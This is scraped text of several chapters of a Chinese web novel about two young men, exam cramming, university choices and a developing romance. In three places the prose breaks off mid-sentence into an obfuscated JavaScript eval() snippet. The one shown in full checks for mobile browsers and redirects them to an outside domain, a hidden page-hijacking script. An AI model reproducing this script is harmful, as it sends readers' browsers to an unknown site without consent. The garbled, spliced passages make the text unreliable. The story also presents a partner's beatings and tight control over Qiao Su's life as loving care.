靳越群红着眼,咬着牙,又是一巴掌狠狠揍上去:“书包里没个能看的,你是去上学还是去当耗子的,天天要什么吃什么,都给我吃到哪儿去了?光长屁股不长脑子是不是?!” “我长了,我长了…!” “你今年考不上,明年就给我待在屋里复读,甭出门,我教你!” “我不要!” “你不要也得要,你信不信我给你铐这儿,让你吃喝拉撒都在这儿!” “你敢拷我,你拷我就去上吊,我的屁股要烧起来了…!” 乔苏挣不脱,一股脑地扑腾着手和脚,奈何他的力气在靳越群面前连看都不够看的,他又恨自己没出息,屁股都这么疼了,居然还没憋出半滴眼泪,只好先乱嚷一通,擤擤鼻涕。 “我屁股好疼…” 靳越群不理他,伸手去拿他其他科的卷子。 乔苏趴了一会儿。 “你的腿好硬,好硌得慌…” 靳越群在给他算分,乔苏只好自己扭两下腰:“干嘛啊…我就是一次没考好,人家老师都说了,不能以一次得失论英雄,那我数学还进步了呢,地理也进步不少…!” 他又假模假式的抹了两把眼角,反正他趴着,头朝下,靳越群也看不着。 他一说,靳越群又翻他后头那几门理科的卷子,放假补课这么多天,确实有进步,就是高考文科理科能分开,但语文跟谁也分不开,他紧锁眉头,一边看乔苏的卷子,一边拿笔着给他算。 他只瞄一眼就知道哪些题是乔苏粗心算错的,哪些是他真不会的。 把乔苏粗心错的题分再给他加上,靳越群一道题一道题看,笔尖落在纸上唰唰的,乔苏也没闲着,继续“抹眼泪”,时不时还“抽”一下。 要抹第八下的时候,被靳越群握着手了。 “行了,再给你抽过去了,有泪么在那儿擦。” 靳越群算了半天,也是差一点才能够上本科的线,他想让乔苏在汉城有个学上,这是他考虑之后的安排,一是这辈子他绝不会再让乔苏去国外念书,二就是…这个时代是绝不允许他们感情的,这一点乔苏可以不懂,但他不能不懂。 他会站在他前头,但凡他看的到的伤害,他都会替他挡去,但人不是神,不可能面面俱到,这一点他上辈子已经栽了跟头,乔苏横看竖都是缺几个心眼的,对人也没防备心,如果可以,他希望乔苏能在一个相对稳定、单纯的环境里。 到时他在汉城就可以放开手脚的去干、提前整治昌盛里的异己势力,而他和乔苏的关系也会遮掩许多,至少是先遮掩上几年,只几年就行了,对他来说足够了。 “靳越群…我不能头朝下了,我要流鼻涕了…” 乔苏的鼻涕都要掉下来,薄薄的眼皮也让他擦的有点红,真像哭 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“我想去楼下看会儿电视…” “回来!让你去了么!” 从语文讲到数学,讲到十点多,靳越群气的血压都快按不住。 “你干什么去啊…” “你赶紧把那几个公式背背,我消消火。” 乔苏也不知道靳越群火什么,反正他就觉得靳越群这人真没耐心,他不就写的慢点么,他埋头写,没一会,去楼下洗了把脸的靳越群缓过来了,重新坐下。 “怎么我过去看你写题没这么急的?” 乔苏心说他还好意思说。 “就是,去年我高考的时候你根本就不在意…你还喊我八点就睡觉了…根本不让我熬夜…” 靳越群回想了下,去年乔苏高考的时候他之所以心平气和,是因为他压根就不会让乔苏离开他去上学,乔苏离开他,那他的一切计划都没有意义了,这也是不可能的。换句话说,如果乔苏去年没有肚子疼错过考试,他大概率也会让乔苏复读的。 不过这些心思他没有对乔苏说,看着灯下乔苏清秀的小脸,他决定陪着他慢慢来。 “乖,这道题的公式前面刚用过,不急,你好好想想,想到一次下次就记住了。” 乔苏点点头。 靳越群看着他握着笔,半点就是不往纸上写一个字,大概还在想吧。 “你知道你这叫啥不?” 乔苏憋不住自己笑:“你这就叫‘屎到屁股门了你知道找纸了’,我上次听见王婶骂人就是这么说的,你就是…啊!” “你敢给我把这句话写作文里我真抽你,听到没有!” “听到了听到了…” 乔苏屁股疼,又开始慢悠悠地写,写吧,他又忍不住想,王婶是他们这儿出了名的悍妇,谁招惹她了,她骂起人来半天都不带重样的,所以有时候她一开骂,好多人都出来瞧。 “你又想什么去了?” 乔苏回过神:“想王婶啊,你知道她经常骂谁不?” “…你觉得我想知道?” 乔苏瞄一眼。 “咳,估计不想吧…” 靳越群早就发现了,很多题乔苏根本不是不会,他就是习惯了写写这个想想别的,关键是平常可以,但到考场上哪儿有那么多时间等着你。 “我看你坐这儿写就不行,站起来,撅这儿…!” “干啥呀,就骂你两句也不许呀…” 乔苏委委屈屈地让他掐着胳膊站起来,趴在桌上,靳越群在屋里找了半天能揍人的,又怕给乔苏揍坏了,最后卷了两张卷子,让乔苏趴着写,乔苏一走神,他就让卷子和他的屁股来一场亲密接触。 12.第十二章:惊吓 就这么恶补了一个多星期,乔苏爱跑神的毛病确实掰过来不少,他刚一想跑屁股就反射性的疼,做题效率蹭蹭地往上升。 不过在如此“高压”的突击之下,他整个人也彻底如一颗蔫掉的小白菜,恍恍惚惚的。 靳越群瞧着乔苏的下巴都尖了些,怀疑是不是自己最近真的太过逼迫他?乔苏就算考不上好学校又能如何呢,汉京大学周围也有一般的大专,无非他多花一些精力,再看紧一点就是了。 吃晚饭的时候乔苏都没什么精神,靳越群冲了一杯他最爱喝的麦乳精,搅弄不烫了,抱起他,喂到他嘴边。 “苏苏,张嘴,今晚不学了,补补…” 谁知道刚喂进去,乔苏一歪脑袋,跟着就“吐”了出来。 吓了靳越群一跳。 “苏苏?!” 靳越群怕他呛着,连忙抱着他的脊背:“哪里不舒服?” 乔苏嘴边一挂着道白,还在吐。 靳越群吓坏了,先是拍他后背,又扣他的嘴,把嘴里喉咙里头没化的麦糠碎扣出来,发现没呛着,又赶紧呼喊乔苏,乔苏还是没反应。 “没事啊我们现在上医院!” 靳越群顾不上穿鞋,抓着车钥匙背着他三步并两步的往楼下跑,把人往车里一塞就直奔县医院。 乔苏在后座气若游丝:“靳、靳越群,事到如今,我就把我一直瞒着你的事,告诉你…” 靳越群眼眸微瞠:“什,什么…” “其实上一辈子的事我都记得…” 耳边“当!”的一声,靳越群只觉得他脑中乍起一道惊雷,耳膜鼓动着浑身奔涌的血液尖鸣不止。 “苏苏,那不是你的错,是他们骗你,是我去迟了,我…!” “其实上辈子,我背着你偷偷生下了一个孩子…!他叫高考,因为我从小没有抚养他,所以他心里对我一直有仇恨,现在他来报复我了,这都是…” 乔苏可怜地捂住脸:“这都是我的报应啊!看在我自幼就无名无分跟了你的份上,你就放过我们这对可怜的父子吧…!” 靳越群紧紧握着方向盘,喉结滚动,汗如豆大在滴。 乔苏从指缝里偷看下前头的靳越群。 发现靳越群的脸色真真白的吓人,就说从坟墓里刨出来的也不为过,他后知后觉地发现他这个“玩笑”好像把靳越群吓坏了。 “靳越群…?” 乔苏赶紧探手摸摸靳越群的脸,摸到一片湿冷的汗。 靳越群沉沉地喘息着,他握住他的手,力气不容一点挣脱,乔苏的手腕骨节都有些痛了。 “想生孩子?”他幽幽地问。 “呃…” “等着吧,往后你生不出我再同你算账。” 靳越群一手打着方向盘,车里只有他还没平复的心跳声,乔苏从后面抱住他,摸他的胸膛,发现那里仍旧如庙会的鼓点般,不急了,但重的好像要从胸腔里跳出来。 “靳越群,你心跳怎么这么快?你刚才说什么,什么…谁去迟了?” “没什么。” 乔苏还以为他生气了。 “你生气啦?这几天我也有很听话的,上学,做题,挨揍也没有躲…好吧,至少没有每次都躲…是吧?我也有乖乖忍住几次的…就是做卷子太无聊了,就想玩一下…” 车停进院子,靳越群下车,将乔苏抱出来,抱在身上,又关上车门。 他冷着脸不讲话,乔苏将脚勾在他身上,摸摸靳越群的脸,又捏捏他的耳垂,他有些担心,刚才靳越群的样子他从来没有见过。 “好嘛,我下次不这样吓你了,行不行…?” 靳越群托着乔苏的屁股换成背着他,重新穿上鞋,默默走出了院子。 “诶?这么晚了…我们去哪啊?” 夜里十点多了,街上寂静的很。 靳越群仍旧默不作声。 他背着他,脚步不急不慢,过了一会,他说:“我背你,你睡吧。” 乔苏愣了一下,很快就反应过来靳越群在说什么了。 小时候他刚到靳家,小孩子对陌生环境难免害怕,晚上他睡不着就哭,靳父最开始不喜欢他,几次三番要送他回去,靳越群那时年纪也小,小小的男孩就学着大人的样子背着他哄。 两个小孩的力气只够在屋里,背不好了还要摔,那时靳越群作为“弟弟”,就会拍着他的背哄着他了,后来七八岁,靳越群长力气了,就是背着他在外面,其实后山那片靳越群那几年走过次数比他还多,再后来,慢慢就演变成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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13.第十三章:高考 高考前夕,靳越群很少去厂里了,他常常挑灯复习到凌晨,怕打扰乔苏睡觉,就在搂下看书,他也没有再像之前一样去逼乔苏高强度的刷卷子。 在逼迫乔苏和让乔苏开心之间,他似乎无论活几次做出的选择都一样。 不过他也没有全然放弃,他也不是那种个性,此路不通就换条路——他每天早上提前起来两个小时,在楼下把乔苏过往做过的卷子一张张仔细整理,琢磨乔苏的解题思路,再按照他的逻辑把他过程中容易错的地方整理好,吃饭前跟他讲讲。 中间靳晓北来了一趟,其实他也有点不想念了,想找个机会跟着靳越群去汉城,他爸说城里机会多,到门口看见他哥端着碗,一边喂乔苏喝粥,一边翻着笔记跟他讲题。 乔苏皱巴着脸,还一副爱答不理的样儿。 “再夹点小咸菜…” 靳越群给他往粥里加:“解数列问题的时候,要把n等于1和n大于等于2分开考虑,要分段,你总忘,记住没有…?” 乔苏点点头,靳越群给他剥鸡蛋。 “你剥快点好不好,上学都要迟到了…” “乖,再讲一个给你吃。” 靳越群翻着笔记,接着给他讲。 不是,他哥什么时候说话这么“和风细雨”了?靳晓北吓得浑身鸡皮疙瘩都起来了,怀疑他哥是不是被鬼上身了。 “哥…” “咋了?” 靳晓北犹豫说:“要不我不念了吧,等你和乔苏高考完,我就跟你…” 乔苏也叫:“就是就是,高考有啥重要的…” “滚回去念书去…!这个点你不去学校瞎转悠什么!考不上大学别来见我。” 靳晓北被骂了个狗血喷头,走的时候居然还挺庆幸的,幸好,幸好他哥还是他哥。 对乔苏是硬的不行,靳越群就采取“怀柔政策”,果然,这个强度对乔苏来说就容易接受多了,他被靳越群天天早上哄着伺候着就把易错点记住了,到学校临考前组织最后一次小考,他的成绩涨了不少,人也恢复了吃嘛嘛香沾床就睡的良好作息。 高考头一天是艳阳天,安县的考生不多,稀稀拉拉的,第二天考到最后一门时外头突然下起了雨,雨水淅沥地打着叶子,靳越群没跟乔苏分到一个考场。 监考老师不让提前交卷,铃声一响,他就出去找乔苏,教室里没找到,转头看见乔苏站在漏雨的走廊里顶着书包等他。 看见他,乔苏对着他笑,挥手,靳越群还没走近呢,乔苏就有一大堆话想跟他说了。 他说的不是哪个公式他早上的时候才跟他讲过,就是哪个解法到交卷前一秒他想起来了,靳越群听着,把他的书包接过来背在身上,弯腰给他把两只裤脚挽起来。 经过那晚的惊吓和这些日子当孙子的生活,他也看开了,乔苏能安稳度过考试就行了, 下雨也知道不往外走,会等着他,行了。 后面就是估分报志愿,老师让他们一人领一张志愿表,回家跟父母商量着填。 “靳越群,这么一大厚本,都是全国的学校和专业啊?全国有这么多学校啊,你从哪里搞来的?” “从黄老师那儿借的。” 高考分数要到月底才出,午后,乔苏在院子里搬个板凳坐在靳越群旁边,看着那本书翻开了还足有半指那么厚,他光看一眼上面密密麻麻的字都要头晕了。 “靳越群,我好热呀…” “那你上去睡会儿。” 乔苏又不想上去,他还想看看靳越群报的什么专业,又给他报的什么。 靳越群八成就是汉京大学了。 “我不想上去睡,我想看你写完。” 靳越群也没说别的,夏日蚊虫多,他放下笔,从屋里拿了个蒲扇,一边研究专业和分数,一边给乔苏打扇子。 “有没有那种学养小动物的专业呀?” 乔苏看到一个感兴趣的,点着说:“要不我报这个畜牧专业吧?我感觉当兽医也挺赚钱的,就彭文他叔,每年光给牛羊看病都盖上新楼了…” “不行。” “为啥不行?” “家里又不靠你赚钱,不报这个,脏,往后你跟我在城里,哪来那么多生病的鸡鸭鹅狗给你看。” 乔苏一想,也有道理,现在就他们县里也没什么人养牛羊的,最多在院子里养点鸡,市里肯定都住楼房,更没有了。 “你扇子打低点呀,我都看不到了…” 靳越群又把扇子打的低了点。 他和乔苏的专业他之前就思虑过一轮,所以填的不慢,按照他给乔苏估的分,给他填了四个汉京大学附近的学校,走路距离从五分钟到二十分钟不等,他都提前去看过了。 “你就报这一个汉京大学?别的不报了?” 乔苏看靳越群那张志愿表就头一个写的汉京大学的金融专业,剩下那么多行全是空白。 “老师说能报好多,录不上这个还能录那个呢…” “我就报一个就够了。” “那你怎么给我报这么多?” “你报这么多保险。” “……” 乔苏觉得他就不该问。 “金融是学什么的?” “学怎么算计别人的钱。” ……那也太缺德了,怪不得靳越群要报这个。 “那这几个呢?” “被别人算计钱。” “靳越群,你能别让县长来咱家敲锣打鼓的送大红花吗?” “送什么大红花?” “…诶?我想报这个航海船舶驾驶…” “环游月球去不去?” 乔苏哼一声,鼓起腮帮子:“你根本不在意我喜欢什么,那我也要自己选一个我喜欢的专业…!” 乔苏早就看出来了,靳越群压根不在乎他喜欢什么,他就想自己干什么做什么都在他的眼皮子底下! 他才不让他遂意呢! 他扯过靳越群手里他的志愿表。 “为什么你给我填的专业名字都那么长的?…海洋工程与科学?这是学什么的?我都没看见海啊…!材料科学?还有这什么…应用气象学?” 他拿走了志愿表,靳越群索性把他抱在腿上,俩人一块看。 “这几个专业没什么人报,往年都分低,你先保住学校,学什么也不打紧。” “谁说的,我要学我感兴趣的,兴趣是第一老师,你听过没有呀…” “你现在报了这个专业日后也不一定就要做这个,我说了,只要你能去汉城,在我身边,大学那几年你就给我老老实实去教室里按点点个卯就行了。” “就只点个卯?不再逼我考高分?” 靳越群亲他的脸颊:“不逼了,你不想学也可以,在学校里安稳的待到毕业,你就回家里来,有空就做点你有兴趣的,我养着你。” 说来说去不还是要看着他? “那我要选一个容易找工作的,将来进厂打工,可威风了…” 靳越群不赞成:“这个更不要考虑,你不找工作,外头那么累,有什么好的。” “你就是想让我待在你的眼睛里…!” 靳越群点头:“是这样。” 乔苏无语:“那干嘛你非让我高考?我直接不考不就得了,更简单…” 靳越群犹豫了一下。 “这几年我估计会很忙,学校环境好,有老师看着你,你去哪儿做什么,我都问的到,也放心,等过几年我腾出手了,我看着你。” 乔苏本来就不擅长操心什么事,他像个融化的雪糕一样瘫在志愿表上。 “那你还是别腾出手了…” 填好两个人的志愿表,靳越群把乔苏送到学校,自从上次乔苏跟他说了他抓靳晓北腰的事,现在都是靳越群送他。 主要是自行车他还骑得不熟练。 “一会儿见着老师就把咱俩的表给老师,然后回家,我得去趟我爸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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乔苏看看彭文的裤兜:“你这裤兜里也放不下十万块钱啊,都得给撑扯了…” “这就是打个比方,打个比方你懂么!” 彭文白了他一眼,乔苏又问:“要十万块,市里的房子这么贵啊?” 像是安县,还是平曲,盖一栋排场的红砖白瓦的二层小楼,还算上装修家具,撑死也就二万块。 “反正我给你说吧,现在可跟过去不一样了,吃大锅饭早晚得饿死,现在是‘兜里有钱的就是爷!’往后肯定更是,有别的都没用,我是不打算当大夫去。” 彭文大笔一挥,在志愿上随便写了个跟外贸相关的专业:“乔苏,一会去我家看书不?” “看书?你发烧了?” “哎呀,此书非彼书…!你去了就知道了!” “可我还没交志愿表呢,老师呢…?” “被校长拉着给靳越群.交表去了,急着邀功呗,你的呢?咱俩的给眼镜,让他替咱俩交。” 彭文拿着他和乔苏的志愿表给了前头正在纠结填专业的男生,男生戴着厚厚的眼镜。 “班长,给你了啊,一会儿老师来了帮我们交一下…” “诶诶,不行,我眼镜坏了,我看不清…” “我们都填好了,看清啥啊,走了啊,谢谢啊。” 被叫眼镜的男生是班长,他的志愿已经基本填好了,他这次数学发挥的一般,想报汉城农院的农科公费生,老师说这个专业国家有补助,学费上是省里给承担,他父母务农,负担重,学费是大头,要是国家给出就最好不过了。 就是怕万一录不上,正研究再填一个保底的,他在专业上不怕苦累,可彭文这么一放,三张志愿表混在一起,他真的有点分不清谁是谁的了。 14.第十四章:酒店 别人高考完是解放了,靳越群比上学还忙,他常常要去汉城,一去就是一整天,他爸靳昌林自从靠机械厂发家之后,这些年手里积攒不少,他又看上了做整流器,这东西装在汽车上油门反应比原来快,但都是至少三十万往上的车才装的,就街上现在最多跑个夏利捷达,也用不上。 靳越群觉得靳昌林太激进,但他爸偏偏又是十分传统强硬的父亲,奉行老子就是老子,儿子就是儿子,做外贸的机会不能错过,俩人好几次话不投机,险要争执。 乔苏去彭文家看杂志,彭文神神秘秘的拉着靳晓北,几个男孩连灯都不敢开。 乔苏没占着好位置,就看见两个金发美女趴在沙滩上,嘴唇涂的红艳艳的,像吸血鬼,还没往下看,椅子背撑不住劈开了,三个人摔在地上,摔的屁股疼腰疼的。 “靠,这外国妞真是够辣啊…我以后也不知道有没有艳福去趟国外的沙滩见识见识…” 彭文和靳晓北还沉浸在在香艳杂志的海报里,乔苏脑袋一闪,竟然闪过靳越群给他洗澡的时候,男人精壮宽阔的脊背,属于成年男性的躯体,水顺着紧实的腰腹往下流,没进… 乔苏突然低头看看自己的。 撇撇嘴,为啥差这么大? 他到底少吃在哪儿了? 彭文可不仅是看杂志,他还在他市里的表哥那儿看了真刀实枪的录像带,正绘声绘色的讲着男女那点事,靳晓北听的目不转睛,乔苏听的似懂非懂的。 想着,他和靳越群都是男人,应该也用不上那儿吧…? 不过这个问题很快被他抛在脑后,因为老师说能打电话查成绩了。 他和靳越群去县里开的电话室,拨了两次占线,再拨,里头的工作人员说靳越群考了六百一三,乔苏考了四百三十二。 这分数和他平常的水平差不多。 “靳越群,怎么样,我应该能有个学上吧?” 他根本不关心考的怎么样,他就关心这个分数靳越群满不满意。 靳越群看他眼睛睁的大大的,像两个黑芯的漂亮珠子,揉他的头:“有。” 乔苏露着虎牙笑,想起什么,又很紧张的问:“那要录不上你给我报的哪几个学校咋办呀?” 靳越群原先是想着录不上就让乔苏继续考,乔苏主要是偏科严重,但现在他有点犹豫,这才复读一年乔苏都“魔怔”过一回了。 “考不上再说。” 乔苏听见靳越群的语气不像去年那么坚定了,他才拍着胸脯深深松了一口气。 “那就行那就行…,你不让我复读就行了,那我要吃牛肉面,小炒肉…!” 靳越群瞧他欢呼雀跃的,不知道还以为考了多高,哭笑不得,带他去吃。 乔苏心里的大石头落地,本来是挺高兴的,但汉北进了三伏天,气温见天升的像是下头有灶台在烧,呼一口气肺里都冒着热火气,活像一个大蒸笼。 彭文早早跟着他表哥倒腾他的磁带生意去了,靳晓北也被他爸抓去鱼塘做事,乔苏被热的不行,又没人玩,自己出去敲知了,回来的时候脸上就让晒得红通通的,还有点疼。 等靳越群中午从厂里回来,吓了一跳,赶紧看他的脸。 “你咋了,让蜜蜂蛰了?” “没有,就是晒的,晒死我了…” “你咋出去不戴个帽子!” “我没想着这么晒啊,我还在树荫下头呢,谁知道晒成这样,我脸有点疼…” 乔苏往床上一躺:“你快点把抽屉里那个蛤蜊油给我涂涂,我都要毁容了…!” 蛤蜊油是冬天买了防皲的,他俩也没用完。 “脸上能乱抹吗,去诊所看看吧。” 靳越群看他脸蛋两边红的厉害,不放心,要从床上捞起他。 “我不去…你白天去哪儿都不带我,现在知道带我了,晚了…!” 这是扯哪去了,车间是什么干净地方么带他去。 “起来。” “哎呀,我不想去…!” 乔苏闹着往床上倒,他脸贴着枕头,上头套了竹凉席,靳越群抓他又不敢太使力气,怕再擦着他的脸。 “啧,真是不听话你…” 靳越群骂他一声,也没法子,下去拧了个干净的凉毛巾,拿上来给他敷脸。 敷了一会儿,靳越群看他红热褪了不少,又给他小心翼翼地抹了点蛤蜊油,幸好晒得不严重,没一会儿乔苏就说不疼了。 “这几天少往外跑吧。” “得逞了吧你…!” 乔苏最讨厌这么晒的天,又不能骂老天,只好在床上蹬了靳越群后背一脚,靳越群握着他的脚心,莫名其妙的:“小没良心的…我得逞什么了?不是心疼你晒着?” “那你去让太阳别追着我晒…” “我去天上给你加个盖子行不行,真是我祖宗…” 一连几天,外头高照的日头跟毒蝎子似的,乔苏的脸嫩,一出去晒就红,一红就疼,靳越群给他找了帽子戴也不管用,他没法去外面玩了,就像一株没办法呼吸新鲜氧气的花儿,蔫不拉几的。 “最近太热了,什么都干不成…等开学了,又得去城里,我这最后的自由时光啊,就白白浪费了…” 靳越群看他一副垂头丧脸的样儿。 “去城里也不是坐牢,至于?” “咋不至于,城里都是楼房…” 靳越群想了想,说:“院子里不是还有一堆你那些鱼啊螃蟹的,再换换水。” “鱼给靳晓北了,那窝小螃蟹早让晒死了…” “那不是还有那么多石头?” “都玩腻了…” “那等晚些时候太阳落了,我陪你去山上逛逛?摘叶子?” 乔苏回头扔他一个枕头:“你都不懂,这时候哪有榆钱啊,榆钱毛都没了…” “那去八一商场,买桃酥。” “不想吃…” 他一个个提,乔苏哪个都不要,按理说靳越群是最想让他天天都待在家里的,最好哪儿也不去,谁也不见。 但乔苏这么一提不起劲儿,他心里又哪哪都不痛快。 等他下楼接了个电话,上来说。 “有事干了,周亚东说大后天和他媳妇结婚,在酒店办酒席,我们一块儿过去。” “什么?亚东哥结婚了?” 靳越群说的周亚东原先也在安县上学,比乔苏他们大了得有四五岁,大前年他爸调去汉城下头一个区的国土局当一把手,他就转学去汉城了。 周亚东的个性可比靳越群外向多了,是他们这帮小子的“大哥”,经常带着他们跑山玩。 “叫哥叫这么顺嘴?” 乔苏被靳越群坐下拍了下腰:“那可不,比我大一天的我都喊哥呢,我多有礼貌啊,谁跟你一样…” “想让我喊你哥?” “想听你就叫?”乔苏来兴趣了,起身手跟脚都缠在靳越群背上:“真的?那你现在叫一句。” 靳越群笑了一声:“你梦吧。” “……”乔苏切一声:“那亚东哥在哪儿办酒啊?” “在永安区的翠湖酒店那边,环境挺好的,想不想去?” “你刚才不是说带我去的么…!” 靳越群没立刻答,他就着乔苏在他背后贴着他的姿势,手掌握着乔苏光洁的大腿,没松开,也没挪动,嗓音跟着有些发低:“苏苏,现在考也考完了,成绩也出了,你答应跟我处对象不?” “我可想答应你了,可男的和男的咋处啊…” 乔苏不是不想跟靳越群处对象,之前说不处只是他故意想玩玩呢,这世上再没有比靳越群对自己还好的人了,不光是靳越群想跟他在一块,他也想跟靳越群在一块,不,他脑子里压根就没有他们会分开的想法。 但他也不是啥也不懂,他快十九了,又想起那天彭文叫他去看那本杂志上的金发美女… 他担心道:“男的不是和女的才能处对象么?咱俩男的和男的咋处啊,是不是叫同性恋啊?” 靳越群拧眉:“这都谁跟你说的?” “就班上的同学呗,你知道二河那个傻子为啥傻了不?他们说就是因为他是同性恋…!被他爸妈送到啥医院治病去了,治不好还得判监,他在里头都被人打傻了…靳越群,那咱俩在一块儿会不会被打啊?我不要变成傻子…” “胡说,我在谁敢打你。” 哪怕这句话是乔苏说出来,靳越群的心都像是被刀子扎一般,乔苏痛的叫:“干嘛…!你掐的我大腿都有点疼了…!” “没人敢打你。” 靳越群重复道,他松了下意识的手劲,给乔苏揉着:“我之前跟你说什么了,是不是叫你听我的,其他的不要想?” 乔苏将下巴搁在他肩膀上,软软地哼着嗯了一声。 可他们处在这里,靳越群没办法把他的耳朵眼睛都关上,这句话又如何那么容易能做到的? “苏苏,你信我…” 靳越群也不会说什么好听的情话,他心里只有这句,他偏头亲吻乔苏的嘴唇,转身将乔苏抱在怀里,手掌探进他的短裤,揉捏着他的一把细腰。 乔苏被推到在床上,感觉这个吻不重,但很长,很深,中间都不换气儿,他被吻的脑袋七荤八素的。 “那…那咱们这么早就造小孩?” 靳越群的手一停,瞧着他圆圆的眼睛:“什么造小孩?” 乔苏的脸不争气的红了:“…就造小孩呗,彭文说处对象就是为了造小孩…” 但具体怎么造的乔苏就不知道了,那天彭文讲的乱七八糟的,他也没太明白。 靳越群忍不住笑了。 “乖,咱俩不造小孩。” “那你干嘛笑的那么厉害…?” “没笑…” 乔苏有点生气了,他使劲推开靳越群,翻身坐在他上头,拿着枕头砸他两下:“你就是笑了…!是不是我说什么傻话了?那你跟我说,男的和男的咋处对象…!” 靳越群靠在床头,伸手握着他的小细腰,乔苏的腰侧有颗小痣,靠下缘,在凸出的胯骨附近,不明显,靳越群的眼睛盯着、拇指一下下的摩挲着,就像是在汪洋大海漂泊许久,已经嘴巴干涸,饥肠辘辘的船员盯着瞄准的航向标。 “干嘛啊,痒痒…” 靳越群的嗓音有些发干:“男的和男的不造小孩,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15545037|169755||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不造小孩也有不造小孩的干…的处法儿。” “咋处?” 靳越群闭着眼,深呼吸了好几口气,给乔苏翻去床另一边:“过两天去翠湖那边的时候教你。” “啊?为啥等到那时候?” 靳越群扯了架子上的毛巾,只给他个背影。 “你在屋里,我下去冲个澡。” “那我跟你一块儿去,我也有点热…” 乔苏下床要穿鞋,靳越群说:“你在这儿待着,我洗完回来再给你洗…” “干嘛洗两次…” 他们一直都是一块儿的,还省水,乔苏要出去,靳越群先一步把门关上了,他们家的门外头都插着钥匙,乔苏一拧,竟然被锁住了! “靳越群…!你干嘛锁门?!” “你在屋里待着…!” 乔苏拧不动门锁,不明所以,切…!当他多稀罕和他一块儿洗! - 翠湖酒店是汉城数一数二的豪华酒店,这年头装修气派,风景怡人,靳越群提前半天带着乔苏到了。 在酒店大厅里开好房间,新郎官周亚东知道靳越群来了,就跟他那帮预备婚礼的哥们儿说有点事,就下来了。 “亚东哥!” “呦!乔苏,现在真是帅小伙了,可比过去那儿小鸡崽的样子精神多了!看来靳越群给你喂的不错啊!” 乔苏不好意思地笑笑:“我现在是吃的有点多,还老刚吃完就饿。” 就刚才来的路上,他还在车上吃了一包肉脯和半包山楂果干,要不是靳越群给他没收了,他得吃完。 “嘴上沾的什么。” 靳越群伸手给他抹掉唇边的山楂糕屑,乔苏追着他的手指头看,被靳越群敲了下脑门。 “你给我出息点儿。” “你咋这么浪费啊…你知道八一商场的山楂糕只有每个月头几天才有卖的…” 周亚东就看着俩人,又看见乔苏手上的手表。 “诶?我怎么记得上次托你去晋阳给我老婆捎的是南京牌的,怎么你又买了一块海鸥?” 之前靳越群去晋阳的时候,周亚东因为要结婚,他老婆想要一块儿高档手表,相中南京牌那款表盘里头镶钻的款式,汉城买不到,他就托靳越群看看晋阳的商场有没有。 靳越群回来给他,商场票子估计被服务员不小心装在盒子里头了,周亚东看见上头开的是两块,就知道他八成也给乔苏买了一块。 “原来那个被我搞丢了,亚东哥,那个手表贵不,贵的话我再回去找找…” 周亚东逗他:“贵不贵你得问靳越群啊。” “他可烦,他又不和我说,整天装酷…!” 周亚东笑,他们这边房间自然都是安排好的,靳越群对乔苏说:“你先上去休息会儿。” “那你把包给我,我肉干还在里头呢…” “不许吃零食了,一会儿吃饭。” 乔苏瞪眼:“亚东哥你看他…!我干啥他都不行!” 周亚东觉得乔苏这孩子太逗了:“上去吧啊,你就听靳越群的,留着肚子,中午这儿都是好菜,我让服务员拿菜单给你挑,可比那些干货点心好吃。” 酒店的股东是周亚东的叔伯,他挥个手,就有一个长得很漂亮的服务员过来了。 “他要点什么就给他上。” 乔苏美滋滋地就跟着服务员上楼了。 “他知道那表得小一千么,就这么丢了?” 靳越群也没在意:“知道这个干什么,他就是忘了放哪儿了,也不是故意丢的。” 周亚东对靳越群待乔苏这个惯劲儿也没话说,毕竟不是一两年了,打小就这样,乔苏随口说一句要星星月亮,他看靳越群也得爬梯子上去给他摘。 他看了一眼那边,乔苏没坐过电梯,还挺新奇的,等的时候跟靳越群挥手。 靳越群朝他点点头,他才进去了。 “你这是真的打算跟乔苏就这么在一块了?” “没变过。” “那你爸那边你怎么交代?” 不是他要泼冷水,而是这个事真不是那么简单,放在过去紧张的时候,让人举报了都得抓进去坐监,再说世俗的目光又如何容得下?更何况是靳家这样的人家,又怎么会容许儿子是个喜欢男人的同性恋? 提起这个,靳越群眉宇间也笼着点烦躁:“先瞒着,我的事他也插不了手。” “行吧,哥就是觉得这条路不好走,日后怎么办,你得想清楚,其实你想跟他在一块,也不必…” “没有其实。” 周亚东叹口气,他知道靳越群从小就主意正,就说靳父那个在安县的厂子,原先效益都差成什么样了,硬是让靳越群给盘活了,他那模具厂的好多单子也都是靳越群给牵线搭桥的,对比下来,他那个哥靳越贤管的那个徐水厂子可是从原先地方政府那儿接下来的,订单都是送上门的,能显出什么能耐。 可感情的事就是天底下最难解的,他拍了拍靳越群的肩:“不管怎么说,不管你俩啥关系,你跟乔苏都是我弟弟,有事就说,别客气。” 靳越群点头,周亚东就招呼其他刚到的客人去了。 15.第十五章:结婚 之所以提前来,靳越群是想带着乔苏散散心、玩一玩,他知道乔苏最近因为要去市里念大学的事不太高兴。 乔苏喜欢安县,这里有山有水,可这件事他已经从初中尽量拖到了高中,再往下拖,也不现实。他得考虑未来,才能给乔苏他想要的当下,他只能尽量想法子叫乔苏开心。 